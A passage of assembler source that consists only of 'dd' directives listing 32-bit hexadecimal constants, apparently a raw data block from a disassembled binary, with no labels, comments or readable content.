		dd 1F051847h, 90EA3C74h, 3A1C9490h, 360098F0h, 201AB47Eh
		dd 0A74214F6h, 9300C0FFh, 0C2EFF78Ch, 0FE0197A5h, 0B810E7B0h
		dd 40D1D967h, 765B2E0h,	0A30C0A51h, 314BE02Ch, 5400FD5Dh
		dd 1B3E6E52h, 0B2AACE9Fh, 35090024h, 14834362h,	0A8000873h
		dd 5DFF396Dh, 90EEA07h,	94B94129h, 1791A003h, 80C8113Fh
		dd 1577EE2Dh, 3ACDCE2Bh, 0C10099BBh, 4B092E34h,	0A2F447EAh
		dd 808CFA51h, 4642AC68h, 98C8CF0Ah, 7C449048h, 0B04E7EA8h
		dd 0BABB1F3Ch, 0AA21000Dh, 0D032A95Fh, 0AFD75E00h, 0F7EAA682h
		dd 0B9190052h, 0AC9B3579h, 9E046C45h, 9480D5A2h, 0E7A8FDC0h
		dd 0B4BC0001h, 0CC3AF668h, 980040ECh, 46D77928h, 0DD4B53h
		dd 22C55E7Eh, 45575CFh,	0E594B100h, 0E021932Ch,	875B006Dh
		dd 83DE8AE3h, 9A05FB2Ah, 2AC4B23h, 0EDC0D85Dh, 0DFAF7DFCh
		dd 0AA0C00BBh, 973132DBh, 801B24Bh, 9F960F48h, 0B4F456B7h
		dd 0AB7A0302h, 93621933h, 0EEB757FBh, 35562780h, 0F8003BD8h
		dd 991BD0B5h, 486DCD39h, 0A700961Ah, 8072E6C3h,	9A001234h
		dd 85173292h, 78506699h, 486A0002h, 576F035Ah, 0A007D8D7h
		dd 33888A19h, 30FE5FB0h, 18089894h, 0CA214FDFh,	0AE716524h
		dd 0D8AF7801h, 0EF4DF7CBh, 1FDC3230h, 0C0D3BED5h, 37B5FD55h
		dd 0ED0032C7h, 88DA1A36h, 0CD07A30h, 57B356E2h,	0E9006030h
		dd 28A07355h, 0A1E6F1h,	75A4F7D6h, 99E093B0h, 4191800h
		dd 49480159h, 3BA326B6h, 796E0E85h, 0C6845F23h,	6F78D5E9h
		dd 0B285A0h, 5D17ABBCh,	0BD4F58F9h, 0ECB1340Bh,	93B02E5Bh
		dd 0B8E84C30h, 0B56807F2h, 8151DF05h, 0D789BD16h, 0C64377C0h
		dd 9BC7405h, 6CD0CFFEh,	0F137D586h, 922257E8h, 0AE4A00E4h
		dd 0D025447Eh, 321E4605h, 0C78164D6h, 0D8BA9A1Eh, 0B7F5D4h
		dd 0BB8DC5C2h, 0A65FC87Eh, 39D15C00h, 0E9EB3086h, 0A0BA04h
		dd 5A68588Ah, 31D1AE1Dh, 81D808CEh, 0C92F106Ah,	624E898Eh
		dd 2596EAC0h, 27F823C6h, 6E38EB74h, 0C46FAE8Eh,	8057E589h
		dd 0ED259039h, 4C8060B8h, 0A5FF44F5h, 0E9AC510Eh, 5E24606Bh
		dd 0C09D2D0Bh, 78A06439h, 85007BB9h, 4E2C552Bh,	0C168318Eh
		dd 25A92321h, 59BE32Dh,	0C0ECB906h, 41C533h, 227E6020h
		dd 0AEA8868Eh, 996C4107h, 749E5D89h, 0B83D3050h, 10BD2262h
		dd 1F64CE04h, 861F243Bh, 66468980h, 0C82A99h, 1760576Eh
		dd 106CFF61h, 9049F107h, 3510B3E8h, 0BB0442h, 696BBA2Fh
		dd 623D0EE9h, 3152BE01h, 0EFBF8BA7h, 62692E4h, 28A92FE3h
		dd 0FB2028FEh, 0C6F10009h, 3D48B3Ah, 0CD009242h, 7DA91434h
		dd 2E96E1Ah, 0BE5DCC52h, 0E3020D7Eh, 0EA20218h,	23BEC02h
		dd 0E502DA87h, 1EE0020Ch, 5A834107h, 6FF90094h,	0A8285644h
		dd 4200CFFBh, 4ABF2F01h, 239D5E0h, 5B8A6147h, 96C0EBC5h
		dd 1D06F73Bh, 0D7746D88h, 45613840h, 52FEBC54h,	0CA00A8B8h
		dd 5E3F3CA9h, 85735C65h, 2D05EBF8h, 2360FB83h, 924AC4D0h
		dd 63071D1Bh, 4E58C0DCh, 0C6EE471Dh, 393F7302h,	4412E0EFh
		dd 0BDFA04h, 0CC24496Ah, 2D13950Eh, 5992A5Ch, 7923F2F5h
		dd 0EA500C8h, 785D54EBh, 8AFED241h, 3BA4707Dh, 0E1209C00h
		dd 17014610h, 0B0E37B7Ah, 0AC260039h, 23FDE889h, 0A1C08784h
		dd 0CC30C4D2h, 51D518B0h, 790DE901h, 297A9F00h,	0EC87DD6Fh
		dd 0C0837FB0h, 401DEDA9h, 0C1007E25h, 99E228CAh, 0EF3EF9h
		dd 0F85DC0CDh, 0BB71B27Fh, 921EC800h, 37AD2C49h, 85B93CBAh
		dd 90BE3383h, 8FA73023h, 0EFAC420h, 0D8004CAFh,	165B3635h
		dd 89CF49h, 5A5CBD01h, 32E385A6h, 39082C60h, 0E8FAD4BEh
		dd 3D0D3049h, 0B8C0D249h, 27E020C0h, 902C86h, 3707992Bh
		dd 64E430F4h, 54E29F0Dh, 1C008060h, 83E41h, 847FAEA1h
		dd 6EFCF43Bh, 62D4C3Ah,	91977C9Bh, 55EF185Eh, 71938143h
		dd 0DF9589C0h, 1EDC8144h, 4068C472h, 7417C62Dh,	53740BB1h
		dd 0AD8AA319h, 0CDBF138h, 8792D908h, 0BA004241h, 1A156DD3h
		dd 13CE7B2h, 63FC4402h,	80B0FB24h, 507AB471h, 6F345720h
		dd 8054C05Ah, 49929318h, 500D21Fh, 0ADC72409h, 35E885BBh
		dd 8341B26Bh, 2862F0E6h, 2CB8B318h, 84A1FF10h, 48E09025h
		dd 1C808C88h, 1DA77066h, 569200F2h, 0E64E04EDh,	0C128EE6Ch
		dd 12230B6h, 25A1C0FAh,	0A90BAB79h, 1A1E3A0Ah, 0BA1480AAh
		dd 30803038h, 0C34D9AA2h, 0CDF8E339h, 4F6F5100h, 0AA64E214h
		dd 0DFCC0D99h, 0BF388B4Dh, 0D94430h, 0C8A11B17h, 45C484FDh
		dd 715487EEh, 0C32E3ECh, 99D8F0B5h, 2A1183DCh, 9707CC70h
		dd 6EE60600h, 0E808CF9Eh, 91E70FD2h, 0FB86A557h, 970039B3h
		dd 0BE08511Fh, 0ED09DF4Fh, 6A488181h, 0D4F7CEABh, 79C05DD2h
		dd 86F952BFh, 0D3170370h, 2C13CF28h, 864F051h, 0B06FE884h
		dd 140C14A0h, 82E83632h, 88477A9Ah, 7FBAA074h, 6A003C91h
		dd 63DA5879h, 6C5C004Ah, 370D3332h, 0C800F013h,	759120A8h
		dd 11C6B8Ch, 59EEBC31h,	109F353Dh, 0A0D35A25h, 907FA9A0h
		dd 0ECD224CCh, 0C5E9800Ch, 82C6954Ch, 0E4DE9C00h, 0DD51E2B5h
		dd 90191801h, 697B3A92h
		dd 0F054A490h, 250931E0h, 2320D8B6h, 0F8748100h, 0C3D31895h
		dd 44E7FF60h, 0FB00F17Dh, 0C7BB84CBh, 1E38F80Bh, 0A451C8h
		dd 705DCF99h, 0B493FA6Ah, 0D7C0871Eh, 6582DDA3h, 0B8240731h
		dd 8094FB89h, 73A14C8Ah, 942F1228h, 0A4A63271h,	0C957042h
		dd 0F454432Dh, 0F2902931h, 4BBCC980h, 0CB8C077Bh, 0D12AC2E4h
		dd 46008CEAh, 2CB44823h, 0C359B720h, 61689AE8h,	4BF8211Bh
		dd 0BFCFC1E1h, 16BDF4h,	77AF933Dh, 0BEB2EA45h, 0A42C2715h
		dd 443B3AF8h, 49109180h, 74119409h, 0C93188A2h,	5025809Eh
		dd 3C9080C1h, 0B9037892h, 7EEF02FBh, 0EBB688AEh, 9A27015Eh
		dd 2CC5DF10h, 0D2C45343h, 7306B1EEh, 0E87ED135h, 0C1430110h
		dd 8809AF7h, 34A4511Bh,	0F625108Dh, 0C5387CC9h,	9FB4811h
		dd 1C91F858h, 0E8AF701Ah, 20158A00h, 62F6B08Bh,	5E130DFh
		dd 81241EC8h, 9A64B40Ah, 0DA40CC4Eh, 48E8486Eh,	0A78988DDh
		dd 0B009494h, 56622BD0h, 1E0A119h, 0C007D229h, 800D4C0Eh
		dd 3A33D9B1h, 0C673AC7Ah, 419A93A1h, 123E9C00h,	335B0D6Fh
		dd 6360075h, 0D33F9B82h, 989AB8D8h, 221E4744h, 3128F2B2h
		dd 9B099A73h, 8BBDA4F7h, 9DE026Ch, 0F828482Fh, 9439C1B7h
		dd 0C99731E8h, 0AE60243Eh, 0D01388h, 4475B2F5h,	66347048h
		dd 0C288F44Ch, 0A332C539h, 0F8E16088h, 1864472h, 0CA5DD0CBh
		dd 34F48E17h, 0BD48D948h, 0BE44113Ch, 48B0B022h, 0CC56B909h
		dd 90502318h, 0DBC907E5h, 50216C76h, 0E320B3Fh,	61405C09h
		dd 0F0E087F9h, 0D0FF8148h, 81CD0548h, 9DB35111h, 0D0337356h
		dd 0C3579E01h, 70D3F66Dh, 74265CA2h, 0E89D248Ch, 315894ECh
		dd 744D03EDh, 35E907AEh, 0FA423AE0h, 72BC1900h,	2A777B27h
		dd 17E1C0B8h, 0D81BC405h, 0D3639A18h, 1F0FB019h, 52FB3AF8h
		dd 90984625h, 3F07A9E8h, 83BA8D91h, 0FC8A7BF0h,	0AA573C27h
		dd 0C13D7059h, 368BE101h, 420748D3h, 2CC9CB78h,	825D24Eh
		dd 0E830CC12h, 0DBEA1Dh, 30360D15h, 0C796FB97h,	24871E80h
		dd 9840F6B8h, 0FB43380Dh, 2C7594A4h, 740014FEh,	952107F9h
		dd 35C9FD6Ah, 9920CF33h, 5965F884h, 0A7A1861Dh,	0F7670949h
		dd 0FC209F00h, 2E1233CDh, 384815D9h, 9DB180AFh,	0A0BB7329h
		dd 788B4A3Fh, 499BE419h, 0A08E1AC9h, 4E86050Eh,	1649D169h
		dd 22A8585Ch, 0EF902A83h, 0B0610E88h, 3B000BCDh, 3A788F21h
		dd 6777EE08h, 46D20C5Ch, 8300DC49h, 9AEA7C39h, 4C0C49FDh
		dd 87885450h, 59E4908Ch, 0B00F032Ah, 97BAA00Ah,	0BCA2A1BAh
		dd 0F82A3269h, 56009F11h, 11F1DAD1h, 2C927E66h,	90B35F22h
		dd 21790224h, 0FF6A6746h, 0C184C08Ah, 0FC53C7F3h, 0E82E98E5h
		dd 0C8AB6CC1h, 7EFE1F00h, 391C86F1h, 2E166C56h,	0F90C2023h
		dd 0FB4C2BEFh, 8BC280E8h, 469BFAh, 0E93474EDh, 61BA19FDh
		dd 0B7CECA0Bh, 0D4081113h, 3D00E423h, 583B3C82h, 0CB019866h
		dd 5A8861C3h, 0B0322428h, 0D4A6B522h, 98D59900h, 0C83DBB0Bh
		dd 0D2102676h, 600426FBh, 0F723E1D9h, 3F09437Fh, 0A0A35BBBh
		dd 6F221E78h, 0AA182C50h, 3359C048h, 2F07308Ah,	0C767D562h
		dd 0A1B7F470h, 7E2005A6h, 0C9688732h, 0A83EDCACh, 0D92599CCh
		dd 8CFA4D1Dh, 0D5D648C0h, 0E62A7368h, 9B0F60FCh, 809906C5h
		dd 0ED147F7h, 0ACC90140h, 200A1643h, 0CB44645Bh, 1E400494h
		dd 8B5CEF0Fh, 6F8703C0h, 8B01BCB1h, 0D8FBB33Ah,	0BC608025h
		dd 5FA801E2h, 4A7F67F0h, 24804861h, 38966B0Ah, 0B409CD45h
		dd 1D4841A8h, 13AA058h,	0CA286B75h, 28B2EFB6h, 0E1128864h
		dd 8AD1729Ah, 8C303289h, 0E464A153h, 6077CC73h,	0B6E8D4C6h
		dd 207EFCB3h, 0FD2B8300h, 0A20BB406h, 8CF029F8h, 5F2C8098h
		dd 27674D64h, 4E1EC6B8h, 22968242h, 2065D822h, 6275D7FBh
		dd 0BAA854C0h, 0DDAFF5h, 3CBF9CE8h, 74BCB97Bh, 686AEF2Ah
		dd 0B1CC1322h, 0CE133A00h, 109C3079h, 0D1E8F87h, 48CE89D5h
		dd 8E6DA2D9h, 3D188142h, 0E180863Bh, 2F9BBF3Fh,	0DB04BB40h
		dd 0F5A0B46h, 9FB39C90h, 97D90211h, 696B3FFCh, 38324448h
		dd 802520A0h, 889C1F58h, 129C41B3h, 92E6704Ah, 0A8058D26h
		dd 20E14E8h, 9D6EC0DBh,	5233DCD5h, 501FCEBh, 628C0DD4h
		dd 433EFh, 0E56D122h, 2259B2ADh, 0D5034BFBh, 0B07DECC8h
		dd 0FBD8FBC9h, 8C4FF8BFh, 749916F4h, 0D4B42175h, 0D1F4522Dh
		dd 0CF0008C4h, 8795EB74h, 0E078E75Bh, 6C70E77Fh, 0E4A30B42h
		dd 2030B9D0h, 75FE5823h, 0CB43200h, 0C331E648h,	60A0B9FAh
		dd 8C95EA63h, 7F29DF00h, 0F4315FD2h, 75B83492h,	49FCA031h
		dd 90F70520h, 65C64B8Ch, 0B9904324h, 193BAEE7h,	0D66F8055h
		dd 9440A0E8h, 47CD174Eh, 99C2124h, 18839ADh, 4F997A43h
		dd 0AEFC5E6Bh, 5AD600FDh, 0B77C4B22h, 861E72FEh, 3D5D97C9h
		dd 0C508110h, 0BDF529BBh, 21AD12C8h, 0E8210630h, 610EDA24h
		dd 41A45063h, 705BAB7Eh, 12C7F460h, 214AFEF7h, 8EB63B8h
		dd 90824438h, 89A13E60h, 952563h, 0FAB6D0Ah, 0EB98D201h
		dd 412FC903h, 81FBDEC1h, 9072D34Ah, 7D2A0500h, 10FE2C9Dh
		dd 3EEB3D01h, 3332EC37h, 0DE016829h, 61CE4B4h, 0E87C242Ch
		dd 20ACB252h, 46F830A3h, 64EAEE11h, 8B7A2500h, 0CD31AB81h
		dd 0B4D10F2Eh, 138F296Fh, 0BB89EF8Fh, 0FD9B8C20h, 5F729AD0h
		dd 0B9958022h, 68EF011Ch, 38AC6187h, 0B3B9C410h, 0F94C0952h
		dd 6892D8C6h, 0B0B101F8h, 4C724300h, 60D825Ah, 0D9832EC4h
		dd 0FF0019B9h, 0F4B03235h, 0C9185A48h, 0A8C8C2D8h, 1988B8EAh
		dd 22EF1225h, 76A0929Fh, 0CD52CE20h, 0C4CCF523h, 3C32006Bh
		dd 402C4AA6h, 661209E8h, 5CC8FB67h, 5D713A9Ah, 84452F44h
		dd 8A47F830h, 0C1EBEC26h, 0C7780F00h, 0A49C6ECDh, 9135B008h
		dd 0B11100h, 0F874AF54h, 0E88A8650h, 7C19C04Ah,	52C53304h
		dd 0F8EE223Fh, 67B2700h, 4E1DB6BAh, 9F3C04F9h, 0C8DECDF1h
		dd 3A007ADCh, 7FC2E2E7h, 1237D719h, 37E92B65h, 82AEA0F4h
		dd 4203ECB2h, 20DEB031h, 0E0416428h, 0C0E4504Fh, 0BA3C1CACh
		dd 3AF9C46Ch, 20085271h, 0C4088033h, 8893A130h,	550583FCh
		dd 4C460E53h, 9BF5E489h, 0D22F3980h, 0E2D7C095h, 0A5F82600h
		dd 6A48D0D4h, 3CB125A4h, 11B8840Ah, 409700E4h, 1722AEEBh
		dd 14D07EF6h, 5C424C75h, 28904D1Ah, 57002873h, 0B9B49D76h
		dd 0FE60007Ah, 69DF1BB6h, 33008036h, 13484F0Fh,	944C9AA5h
		dd 2974A424h, 0ED546A48h, 22E848F8h, 7A177D12h,	2FDDC300h
		dd 0A04A1A1Ch, 0A3FECD4h, 0BD655079h, 0DF7A0454h, 208C22B8h
		dd 4077B0FCh, 0E2341B00h, 0EB1C411Dh, 0EFDD396Bh, 0A4393164h
		dd 4884908h, 0B74200B3h, 615B6BE4h, 0BE09110Dh,	13182C6Fh
		dd 1B58BB84h, 393132D9h, 805A24E7h, 0C6CC94A0h,	5CD08251h
		dd 33411EC8h, 98FC2885h, 0E88C437Eh, 490C39B3h,	31E70749h
		dd 0A9EE60D2h, 0ABFE4319h, 2EB49F0Fh, 0D5B7605Ch, 59ED0Bh
		dd 0F4176392h, 16D85025h, 908CFCB4h, 92849E6h, 1C3FFB3Eh
		dd 9561890Eh, 28AA2167h, 5C09F0C0h, 0B0B201C7h,	8346A375h
		dd 0C03C2862h, 0CD023E0Ah, 4EF601ACh, 84C15082h, 20F00658h
		dd 0C8A13016h, 0B0DE1046h, 7FD501E8h, 0EF3580B8h, 0F91160D3h
		dd 0DBE32B1Dh, 0E77DB040h, 58E848A2h, 9389CC6Bh, 46C40890h
		dd 0EBC71912h, 1DC36440h, 90A04CD0h, 60CC9C04h,	0EB672423h
		dd 704E9F15h, 41A94CD4h, 843974h, 0D8D971AFh, 0C36121h
		dd 0E225CE35h, 13A4898Fh
		dd 4CBE8424h, 0C820D292h, 0C988D7h, 0D6825E43h,	3CD0E82Bh
		dd 965A8F72h, 0ADF52441h, 0D940A7F6h, 24200102h, 40FCB9EFh
		dd 0D334C93Eh, 2C94193Ah, 0B40E8FBh, 7D46AAh, 0DF5C6041h
		dd 0FAC6F93h, 58669216h, 6CD12092h, 2B2A12C0h, 9468D81Ah
		dd 0AE0BAFF8h, 1CFA6B81h, 44CCA208h, 0F93C90E4h, 0B8CC1115h
		dd 0DF79D780h, 1B88917Bh, 88DC9CC1h, 9B44495Fh,	0E788B340h
		dd 1375E584h, 67DF5913h, 0C580E004h, 4A9888h, 636C8BACh
		dd 6975F1DEh, 197B90CBh, 660C2C00h, 0D1F4A28Ch,	909213D8h
		dd 37DC0148h, 5B0FF800h, 0B0DDC1D5h, 73B60012h,	4BE4F1C6h
		dd 84B44762h, 69488299h, 1B19D010h, 43D9A162h, 5FAC8022h
		dd 2C38F93Dh, 872C0B2Dh, 0C974E403h, 4E00D8C4h,	0C9360DF7h
		dd 192B3422h, 49C3F1CFh, 17840D2h, 160A75AFh, 88C898FDh
		dd 7100CC2Bh, 0D1E74305h, 10E40541h, 40E18802h,	2137FFF0h
		dd 0DD050E19h, 82950386h, 42707CC8h, 0B83A25D1h, 0C0E99034h
		dd 0E16CAD61h, 7F006545h, 0A69DC1E0h, 0B26563Bh, 0F950E715h
		dd 0DA90A044h, 0C144FCB6h, 0F3D48224h, 80DA852Fh, 28E33C85h
		dd 42D8161Dh, 0BA4E67C9h, 7E0F1C5Ah, 1670B43Fh,	5AB09Ch
		dd 8FD3BC56h, 69B897CDh, 361E641Fh, 0A278F145h,	0E50A0DCh
		dd 80DDBB42h, 0DFA0434Fh, 63FEC811h, 0FAF10301h, 30C7F22Ch
		dd 204EB033h, 71570450h, 96679900h, 6C4028B5h, 20D093Dh
		dd 8818B8E8h, 0C68A7A66h, 0A62C0014h, 0D241606Ah, 0AC07A5AFh
		dd 0C604BB7Bh, 0A4AE67B1h, 88961C7Ch, 5424BF94h, 0EC2E4D33h
		dd 0C5F9A5C0h, 5AAE0104h, 5466EAF0h, 22943995h,	0D21400E6h
		dd 0CEAF6A12h, 780409B7h, 729ABDF2h, 58025888h,	8D807091h
		dd 0E9F1BA68h, 5B50490Fh, 0CA811EB0h, 22A2011h,	6093F864h
		dd 4BA53187h, 3C00B02Eh, 0D960BAEEh, 4D959F26h,	54589CB7h
		dd 2FCB0C48h, 0A25E38CCh, 0ECA3300Bh, 998301C0h, 0DC97551h
		dd 0BF81FC70h, 0B828E8B1h, 4E9AF50Ah, 0F9092CDEh, 0E19463ABh
		dd 1982E865h, 0D1200BD9h, 0C700887Ah, 5C5B3C7Ch, 271E99Eh
		dd 779122E6h, 0ACC46F84h, 0A8910C42h, 6BD32A01h, 78F41B0Eh
		dd 9C304AE4h, 0ABA9E8h,	7B586E55h, 7E49C65h, 9B095F7Ah
		dd 48363D43h, 1218FEF4h, 21996324h, 0F25B77BCh,	7A486409h
		dd 0B4AA016Ah, 0F7825667h, 6112F2AEh, 702A4164h, 9774F028h
		dd 40324A0Fh, 0AB1AA02Fh, 0B14929Ch, 6AC24D0Fh,	39CCD706h
		dd 0AC98F700h, 8F3DD383h, 599026A7h, 0D21B96ECh, 9C90D208h
		dd 2A1D2B2Fh, 0A400AFA7h, 777DB199h, 5C9232F9h,	0C920B2B9h
		dd 9E622FFh, 0FD0773ACh, 0AAB374A0h, 0BC1384D5h, 820AD68h
		dd 12AB1652h, 20F410DAh, 5BF51E2Ch, 0E45AFAF3h,	0B3500F00h
		dd 112B959Dh, 0A7050C17h, 93214441h, 2D8060B4h,	0C03882CFh
		dd 8DFC00F3h, 77E1CBBh,	2C2580A2h, 50C84679h, 4C49585Fh
		dd 0C7C85005h, 4A34114Bh, 0EE461410h, 1AC4AD00h, 0B79F3FE2h
		dd 0B3C7989h, 9050C574h, 34E75810h, 8A00F97Eh, 9DD86675h
		dd 96B9D301h, 0AC956E78h, 241A0D04h, 0C252C481h, 3220DCC4h
		dd 975953E1h, 9D9B1430h, 5DEEFC00h, 4AA5E0BDh, 9CBF3A02h
		dd 0B9A05701h, 0E624565Eh, 18B0A84Ah, 1E8846D8h, 0E1EA60ADh
		dd 9BB8FFEEh, 0F35B1F00h, 0BADF82BFh, 54067DE0h, 9EA2B0D6h
		dd 4BE6C010h, 0CF4A5560h, 615B60CAh, 0FD6360B8h, 0D55170FAh
		dd 0BF22F600h, 5D7FE4FDh, 82D406C4h, 0F1AC14E8h, 0CC84D4Ah
		dd 0CC740B81h, 0D4465D3Dh, 5CBA5890h, 0B239D909h, 0FD3C1A23h
		dd 18D4F940h, 0C1A4A112h, 38F6280Dh, 2876FAF9h,	0D5313500h
		dd 0DB507406h, 3AE51912h, 44D840E4h, 8005E7BAh,	7486E97Dh
		dd 0B8C218B4h, 25CCB9B2h, 2A00104Ch, 0DBFFF4A2h, 0EEBBB3A9h
		dd 6EEC00D5h, 72662385h, 4D2FD715h, 5A98B071h, 0B5C112BEh
		dd 128F42Ch, 8448E648h,	0F5FB455h, 229FFA0Dh, 0C408C96h
		dd 26FF7CD0h, 9DCBE65Ch, 0C66240DAh, 16E1D742h,	4E870F48h
		dd 0DAA7D462h, 0F83C95B4h, 8B2FF02h, 64AD4582h,	4BAE000Ch
		dd 68331DD5h, 420015AAh, 0D384B120h, 0B85D307Fh, 1B140D8Eh
		dd 534917A0h, 0B5D2C244h, 1D1E6C98h, 0F4967A13h, 0E51AC021h
		dd 6B788C15h, 0A106C900h, 25B2CB11h, 60DC9C60h,	53C91FA8h
		dd 0B0EFF71Fh, 849BAD09h, 0E84F1564h, 81C0E272h, 6D29A9B9h
		dd 8F74C4h, 80368ABh, 4E0EA7F8h, 61770D31h, 4444649Ah
		dd 3AC16CF0h, 20CAA8DDh, 17D7DEE0h, 0D01CD500h,	6A6BB1AFh
		dd 5E5F25E4h, 465270EEh, 0E61F80E0h, 27479Dh, 40CB48F3h
		dd 3E70062Ah, 5DDA9A00h, 4D367C2Dh, 27089947h, 51D8BCA0h
		dd 0E01701ABh, 0C60B523h, 1D76EB0Ah, 0C214962Fh, 0FF0D772Ch
		dd 0B4F5B8A0h, 0EF025751h, 1B172863h, 0C75452DFh, 0BC6D8EEEh
		dd 7E7403E8h, 39E12E10h, 0EFD0C84Ah, 90952803h,	0A84BD9C6h
		dd 0F2A38A06h, 0B48903CFh, 0B6FF6ACEh, 634CF9B6h, 21450E68h
		dd 0C8588D3Dh, 0ADC09828h, 5EDFE949h, 3BEA6400h, 0C7539DFAh
		dd 3C5B3D73h, 40302925h, 8E00F234h, 0D971245Ch,	1CDA014h
		dd 0CED4F9FDh, 3AD11978h, 0E433C440h, 0F75CA03h, 4FCDD7BDh
		dd 882F8981h, 0A9D4D761h, 38D86900h, 0E82074h, 37F509EBh
		dd 7A4749B2h, 0B3B7FF04h, 7008FA12h, 3186C80h, 164EC111h
		dd 4834D4DFh, 5380A94Ch, 448A091Eh, 22A34C7Dh, 0EB744209h
		dd 7805DCECh, 0AF07AC50h, 3284DCh, 0F3017E2Ch, 5CC716A7h
		dd 8BCCB13h, 24CCEC22h,	21B4A349h, 0E62888C4h, 0CCE2B345h
		dd 0CB282E26h, 9F8968E0h, 0A02C9025h, 0AF7EB350h, 3DC60B19h
		dd 0ECEA6B24h, 0A45EA462h, 4F044C9h, 0EDBAB9ACh, 668741D3h
		dd 0C029B8D6h, 0A91A809Fh, 819EC9A8h, 0DA244B00h, 34AC7C21h
		dd 0B533068Fh, 4027563Fh, 5D4C644Ch, 2680DC10h,	4C3138FFh
		dd 81E6028Eh, 0AD1A7FB6h, 8FA0788Eh, 0FDC40479h, 0ECBFD505h
		dd 0BC738386h, 0D3AFC995h, 917074D6h, 82DC00A9h, 9821F702h
		dd 0BBB5038Eh, 0F5A458D4h, 25196BE8h, 0F7E87CA6h, 20BDA121h
		dd 3BF90098h, 0B31219B2h, 0FB4E5915h, 0EA4093h,	46631E7Ch
		dd 4E3CD643h, 55AE6200h, 0DAD4DC79h, 8C04976Dh,	0A030F829h
		dd 0F6A456F6h, 6ACC009Eh, 1E11993Fh, 0D41FB3DEh, 9967A2AFh
		dd 0E1D4A75Ch, 0C89302DBh, 0E87B9AB2h, 0FD00C894h, 0FC838766h
		dd 76936548h, 4D1C0073h, 0CC20D474h, 2A2FE8C8h,	36C8A27Eh
		dd 0C8AD2498h, 0D90025D8h, 4FE01A21h, 5FB8BA7h,	2B86E4CCh
		dd 1000B372h, 33815D65h, 0F26AEF30h, 60A59CD1h,	405DCFC0h
		dd 21C83055h, 0D0F89608h, 242369C8h, 3101B03Ah,	7C25602Fh
		dd 19096C50h, 3C4A3A73h, 1F7FE616h, 14B1400Ch, 155FA1D1h
		dd 0F67C770Ah, 0CA25D81Ch, 18B089E4h, 0B13DDDDCh, 0BCC8E1Ch
		dd 4580D1EEh, 0ADBBC73Ah, 1DBF743Fh, 0D353B7EFh, 0E1D1C4C0h
		dd 41EA17D9h, 0C7E89159h, 601E12B6h, 9C86DDBCh,	0A388E064h
		dd 6D001E1Fh, 477B724Fh, 9A0683Dh, 0B96617FBh, 0E3E4853h
		dd 40BA1427h, 5E1BD7B0h, 1820951Dh, 5A7DAEFh, 0AC9BA929h
		dd 835D6B80h, 0FD77E2h,	5B487394h, 0B31BFF72h, 9129C927h
		dd 0B46D4E94h, 3C83093h, 0B6020B48h, 4A796353h,	0A088E469h
		dd 60AA80D8h, 54E47118h, 0F609B350h, 0F97E6451h, 39251FC0h
		dd 6B21F184h, 7D08BD05h, 9A44B0B9h, 6722A340h, 0E50012FEh
		dd 8431BF8Ah, 11C8117h,	0E18E73Dh, 0D01EB5D8h, 791F56E9h
		dd 7C965Fh, 0FD17A183h
		dd 1340A2h, 45CAA852h, 4CF05F18h, 0BF6F409Dh, 50111FA6h
		dd 0EF1B0F15h, 0CE1E5098h, 8F10EA00h, 98C87C63h, 0FA643ACDh
		dd 0CFB240E1h, 48719F9Ah, 0CA2F0B40h, 769D2493h, 0FA7100F9h
		dd 29BB9551h, 0E001DF8h, 90456349h, 0CAEDB6h, 0BC6D6E55h
		dd 9D47E921h, 78C60774h, 81EE1Bh, 5E2BDBDEh, 0BCDF89A5h
		dd 0B218E366h, 8DEF19B8h, 80C129F3h, 1DD6AE90h,	0CEFB26BDh
		dd 821E819h, 0F3F65DB7h, 94386862h, 0B44920FDh,	0CD028E50h
		dd 650CBCC3h, 8DE90131h, 4C088716h, 0F7D1BDD3h,	789DB43Dh
		dd 28A9F035h, 500FBD7h,	0A952CF3Ah, 15CA4860h, 0B03B7BD4h
		dd 738A0C80h, 0F178C304h, 0E06191E1h, 95CEE500h, 0DA9E920Dh
		dd 3200357Dh, 0D40C2EEBh, 183B93E6h, 0B14BCE25h, 77F89C07h
		dd 78D1F161h, 91802535h, 3BDD7C9Fh, 11053CE7h, 0DC315C45h
		dd 2AE2BC06h, 2928DC08h, 0ECD98070h, 0DF66DDA9h, 0BB605067h
		dd 11456940h, 0CC3930FEh, 1D8EEFB9h, 7D898CF7h,	0FEAB41EEh
		dd 4840777h, 90B656E0h,	92A5AEAAh, 8E55290Ch, 392C2908h
		dd 5200E097h, 14815474h, 0BEF2326Dh, 494A950h, 81ED99C8h
		dd 0E0C2E486h, 3AB0F350h, 4D0155F2h, 0C6D3058Eh, 8041B46Dh
		dd 3040158Dh, 2C554556h, 196A338Ah, 12E2219Fh, 0A968C02Dh
		dd 0E8510072h, 5EDC38Ah, 85729B2Eh, 0C9133C3Ah,	0EA457E2Ch
		dd 0F760E8A0h, 821CCCh,	7583880Dh, 0F2CABC15h, 50C1A61Ch
		dd 0C0041FD2h, 13001828h, 9BC332A4h, 0ABDDDC2Eh, 0FF302A04h
		dd 2BE55490h, 4D59C11Eh, 0A90AFC60h, 0E203A841h, 0B8DFB3C3h
		dd 0CE2B9Ch, 44B80F3h, 2F910F07h, 0E2306A61h, 499A13A8h
		dd 1FC10805h, 0E4082522h, 0D007B92h, 1E5F813Fh,	51A806A4h
		dd 1801E85Ah, 0A0231379h, 8110D818h, 0E300CBCDh, 0E7A2C071h
		dd 28BAD540h, 0A32786h,	7F0DE23Ah, 238570FDh, 9B69F701h
		dd 42ABA1BDh, 48F29721h, 667DE914h, 1134D81Ch, 0B4A0ED01h
		dd 0D91E8E26h, 0F864B857h, 1CC7E242h, 4EAEB822h, 0ED4A00B8h
		dd 66E33D67h, 0F81C8261h, 39DCE4C5h, 80C9120h, 0D88DEB8Ch
		dd 0C600D199h, 37865h, 0CDA36158h, 6331B5DAh, 444BFB01h
		dd 0BE74ED1Eh, 4849B186h, 18168997h, 0F21D5A96h, 900352D3h
		dd 28AB6F11h, 0C188459h, 47D8BD5Fh, 1900A8E9h, 7F2AFB29h
		dd 1310CBBh, 0C708B1EEh, 35535559h, 0F67C00B4h,	0E00CA8B6h
		dd 4051D920h, 0B40A847h, 594660CFh, 0D45C9FCBh,	8662E407h
		dd 31B13B37h, 0E441C401h, 0EC22C6E2h, 0F15CB800h, 0FFD682B0h
		dd 0C8473091h, 6BAE1C40h, 3F597ADAh, 0E700D72Ah, 4B29BDA2h
		dd 28920186h, 0F8954700h, 61B4106Bh, 0F8D89A7Bh, 1F5700B1h
		dd 0D28EB2D5h, 0D8A48A74h, 0DB3E44h, 0C076316Fh, 0F9755090h
		dd 9F969101h, 0FF5174CBh, 7EC2E9BCh, 0FA94E0A8h, 12D04988h
